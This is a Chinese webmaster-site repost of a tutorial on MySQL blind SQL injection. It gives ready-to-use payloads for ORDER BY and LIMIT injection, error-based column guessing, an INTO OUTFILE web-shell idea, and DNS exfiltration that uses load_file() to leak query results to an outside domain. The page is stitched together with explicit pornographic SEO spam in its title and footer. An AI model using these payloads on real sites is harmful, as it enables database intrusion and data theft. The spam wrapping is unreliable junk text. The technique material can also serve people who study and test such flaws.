青草久久影院-青草久久伊人-青草久久久-青草久久精品亚洲综合专区-SM双性精跪趴灌憋尿调教H-SM脚奴调教丨踩踏贱奴

17站長網

17站長網 首頁 安全 入侵防御 查看內容

Mysql另類盲注中的一些技巧小結

2022-9-26 12:54| 查看: 2258 |來源: 互聯網

一、order by 的參數注入技巧:兩種方法,思路都一樣。 example. “select username,password from uc_members order by”.$_GET['oderby'] a.常見的利用方法:1.[SQL] select username,password from uc_members

一、order by 的參數注入技巧:
兩種方法,思路都一樣。

example. “select username,password from uc_members order by”.$_GET['oderby']

a.常見的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。

b.國外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。

二、limit 的參數注入技巧:

a.order by之后的limit參數 的注入,因為正常的sql語句order by后無法接union,所以沒有好辦法,就一個雞肋思路:into outfile '/www/root/xxx.php';

b.limit前無order by時的注入,那就方便多了,后面可以直接接union select ,隨便怎么注都行了:
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
這里還有個技巧,使用procedure analyse可以獲取字段名稱:
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不過procedure analyse同樣不能使用在order by之后:
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 - Can't use ORDER clause with this procedure

三、無法猜測字段時的技巧:

在mysql5以下版本或者information_schema 無法訪問的時候,無法猜到某個表的字段名,于是可以采用這個辦法,在子查詢中使用%0,報錯獲得列名。以ucenter的uc_members為例。

1.猜測列數:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回錯誤:#1241 - Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column 'uid' cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column 'username' cannot be null
5. ……

注:5.1以上版本不適用,字段必須為非空(not null)

四、windows下利用dns解析盲注的技巧:

如果盲注很累,或者頁面無論and 1=1還是and 1=2的時候返回都一模一樣,這個時候利用dns進行注入是個不錯的方法,前提是win環境root權限下的mysql,利用load_file函數讀取遠程文件的思路。本地搭建一個dns服務器,然后將特定域名的NS server轉過來。然后進行注入,并抓包。

本地測試了下(實際注入中單引號可以編碼):select load_file(concat('\\\\aaa1.',(select user()),'.oldjun.com\\a.txt')),抓包成功獲得select的結果:
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A [email protected]

如圖所示:

本文最后更新于 2022-9-26 12:54,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:[email protected]
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 草比比过程图 | 国产精品VIDEOSSEX久久发布 | 99久久夜色精品国产亚洲AV卜 | 国产成人精品免费青青草原app | 国产亚洲精品久久久久苍井松 | 国产亚洲精品久久久久小 | 久久这里只有热精品18 | 亚洲精品成人A8198A片漫画 | 国产乱码二卡3卡四卡 | 亚洲国产精品久久人人爱 | 国产成人精品三级在线 | 在教室轮流被澡高H林萌 | 最新日本免费一区 | 亚洲国产成人精品久久久久 | 伊人大香线蕉精品在线播放 | 91热久久免费频精品动漫99 | 手机看片国产免费久久网 | 国产精品青青草原app大全 | 婷婷射精AV这里只有精品 | 久久久久久极精品久久久 | 久久国产免费一区二区三区 | 久久免费国产视频 | 女人和男人插曲视频大全 | 李丽莎与土豪50分钟在线观看 | 亚洲国产欧美日本大妈 | 理论片午午伦夜理片2021 | 中文字幕视频在线免费观看 | 视频一区国产精戏刘婷30 | 被两根巨大同时进去高H | 99久久99久久久精品齐齐鬼色 | 久久99re6热在线播放 | 好男人WWW免费高清视频在线 | 日产日韩亚洲欧美综合搜索 | 亚洲精品乱码久久久久久v 亚洲精品乱码电影在线观看 | 青青草原国产 | 九九99亚洲精品久久久久 | 亚洲视频在线免费 | 曰本熟妇乱妇色A片在线 | 亚洲AV成人无码999WWW | BL文库好大粗黑强强肉NP | 国产AV亚洲国产AV麻豆 |